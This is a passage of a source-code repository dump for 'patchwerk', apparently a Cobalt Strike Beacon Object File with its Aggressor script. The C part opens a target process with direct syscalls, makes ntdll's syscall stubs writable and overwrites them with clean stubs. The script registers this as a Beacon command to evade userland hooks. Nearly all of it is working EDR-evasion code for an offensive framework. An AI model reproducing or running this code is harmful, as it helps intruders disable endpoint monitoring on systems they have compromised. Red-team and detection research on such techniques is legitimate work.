offsetFirstStub: %d\n[+] FirstSyscallAddress: %p\n", offsetFirstStub, firstSyscallAddress); 465 | // 00007FFB73FD0810 - ntdll.NtLoadKey3 last stub 466 | // 00007FFB73FCCD60 = ntdll first stub address 467 | // 0x3AB0 - stubs diff size 468 | // 0x3AB0 / 2 = 0x1D5 = 469 469 | DWORD index = 0; 470 | DWORD syscallStubTotal = 0; 471 | unsigned char * stubIndexAddress = firstSyscallAddress; 472 | LPVOID lastSyscallStub = NULL; 473 | while (index < 600) { 474 | stubIndexAddress += 0x20; 475 | if (stubIndexAddress[0] != 0x4C) { 476 | if (stubIndexAddress[0] != 0xCC) { 477 | stubIndexAddress += 0x10; // All syscall stubs are 0x20 except for NtQuerySystemTime which is only x10 bytes 478 | } 479 | else { 480 | stubIndexAddress -= 0x20; // go back to the last stub 481 | BeaconFormatPrintf(&stringFormatObject,"[+] end of stubs at address %p\n", stubIndexAddress); 482 | lastSyscallStub = (LPVOID)stubIndexAddress; 483 | break; 484 | } 485 | } 486 | index++; 487 | } 488 | stubIndexAddress += 0x40; 489 | stubIndexAddress = (unsigned char *)(stubIndexAddress - firstSyscallAddress); 490 | SIZE_T stubsSize = (SIZE_T)stubIndexAddress; 491 | DWORD oldprotect = 0; 492 | //hProc = (HANDLE)-1; 493 | //ttNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) 494 | /* 495 | HANDLE hProc = NULL; 496 | OBJECT_ATTRIBUTES oa={sizeof(oa),0,NULL,0}; 497 | CLIENT_ID cid; 498 | // unsigned __int64 pid = 5736; 499 | //cid.pid = (HANDLE)8968; 500 | cid.pid = NULL; 501 | cid.UniqueThread = NULL; 502 | cid.pid = (HANDLE)pid; 503 | */ 504 | //__debugbreak(); 505 | if(pid == -1){ 506 | hProc = (HANDLE)-1; 507 | } 508 | else{ 509 | // nt.NtOpenProcess(&hProc, 0x1FFFFF, &oa, &cid); 510 | HellsGate(nt.NtOpenProcessSyscall); 511 | HellDescent(&hProc, 0x1FFFFF, &oa, &cid); 512 | } 513 | 514 | unsigned char* firstSyscallAddress2 = firstSyscallAddress; // firstSyscallAddress gets clobbered after NtProtectVirtualMemorySyscall 515 | //VirtualProtect(firstSyscallAddress, stubsSize, PAGE_EXECUTE_READWRITE, &oldprotect); 516 | HellsGate(nt.NtProtectVirtualMemorySyscall); 517 | HellDescent(hProc, &firstSyscallAddress, (PSIZE_T)&stubsSize, PAGE_EXECUTE_READWRITE, &oldprotect); 518 | syscallStubTotal = index; 519 | index = 0; 520 | unsigned char * stubIndexAddress2 = firstSyscallAddress2; 521 | //BeaconPrintf(CALLBACK_OUTPUT,"stubIndexAddress2: %p\n", stubIndexAddress2); 522 | while (index < syscallStubTotal) { 523 | makeShellcode(scBuffer,index); 524 | // nt.NtWriteVirtualMemory(hProc, nt.pEtwEventWrite, (PVOID)etwbypass, 1, (PVOID)0); 525 | HellsGate(nt.NtWriteVirtualMemorySyscall); 526 | HellDescent(hProc, stubIndexAddress2, scBuffer, 0x20, (PVOID)0); 527 | stubIndexAddress2 += 0x20; 528 | if (stubIndexAddress2[0] != 0x4C) { 529 | //BeaconPrintf(CALLBACK_OUTPUT,"if (stubIndexAddress2[0] != 0x4C) %p\n", stubIndexAddress2); 530 | if (stubIndexAddress2[0] != 0xCC) { 531 | //BeaconPrintf(CALLBACK_OUTPUT,"if (stubIndexAddress2[0] != 0xCC) %p\n", stubIndexAddress2); 532 | //BeaconPrintf(CALLBACK_OUTPUT,"index: %d\n", index); 533 | stubIndexAddress2 += 0x10; // All syscall stubs are 0x20 except for NtQuerySystemTime which is only x10 bytes 534 | index++; 535 | } 536 | else { 537 | //BeaconPrintf(CALLBACK_OUTPUT,"else %p\n", stubIndexAddress2); 538 | //BeaconPrintf(CALLBACK_OUTPUT,"index: %d\n", index); 539 | stubIndexAddress2 -= 0x20; // go back to the last stub 540 | BeaconFormatPrintf(&stringFormatObject,"[+] end of stubs at address %p\n", stubIndexAddress2); 541 | //BeaconPrintf(CALLBACK_OUTPUT,"%d\n", index); 542 | break; 543 | } 544 | } 545 | index++; 546 | } 547 | BeaconFormatPrintf(&stringFormatObject,"[+] Exited write loop at %p\n", stubIndexAddress2); 548 | //VirtualProtect(firstSyscallAddress, stubsSize, PAGE_EXECUTE_READ, &oldprotect); 549 | HellsGate(nt.NtProtectVirtualMemorySyscall); 550 | HellDescent(hProc, &firstSyscallAddress2, (PSIZE_T)&stubsSize, PAGE_EXECUTE_READ, &oldprotect); 551 | BeaconFormatPrintf(&stringFormatObject,"[+] End of bof\n"); 552 | 553 | int sizeOfObject = 0; 554 | char* outputString = NULL; 555 | outputString = BeaconFormatToString(&stringFormatObject, &sizeOfObject); 556 | BeaconOutput(CALLBACK_OUTPUT, outputString, sizeOfObject); 557 | BeaconFormatFree(&stringFormatObject); 558 | //getchar(); 559 | } -------------------------------------------------------------------------------- /patchwerk.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "patchwerk", 3 | "Patches ntdll system call stubs in memory to evade userland hooks", 4 | "Synopsis: patchwerk PID" 5 | ); 6 | 7 | alias patchwerk { 8 | if(size(@_) == 1) 9 | { 10 | $2 = -1 11 | } 12 | if(size(@_) >= 3) 13 | { 14 | berror($1, "Incorrect usage!"); 15 | berror($1, beacon_command_detail("patchwerk")); 16 | return; 17 | } 18 | local('$handle $data $args'); 19 | #$handle = openf(script_resource("patchwerk.o")); 20 | #$data = readb($handle, -1); 21 | #closef($handle); 22 | $args = bof_pack($1, "i",$2); 23 | btask($1, "Patchwerk (Bobby Cooke|@0xBoku|github.com/boku7)"); 24 | #beacon_inline_execute($1, $data, "go", $args); 25 | 26 | beacon_inline_execute($1, readbof($1, "patchwerk"), "go", $args); 27 | } 28 | -------------------------------------------------------------------------------- /patchwerk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/patchwerk/53f7d045391f1affb5e956e8f0233573cd26d369/patchwerk.png -------------------------------------------------------------------------------- /patchwerk.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/patchwerk/53f7d045391f1affb5e956e8f0233573cd26d369/patchwerk.x64.o -------------------------------------------------------------------------------- /patchwerk2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/patchwerk/53f7d045391f1affb5e956e8f0233573cd26d369/patchwerk2.png -------------------------------------------------------------------------------- /patchwerkPoc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/patchwerk/53f7d045391f1affb5e956e8f0233573cd26d369/patchwerkPoc1.png --------------------------------------------------------------------------------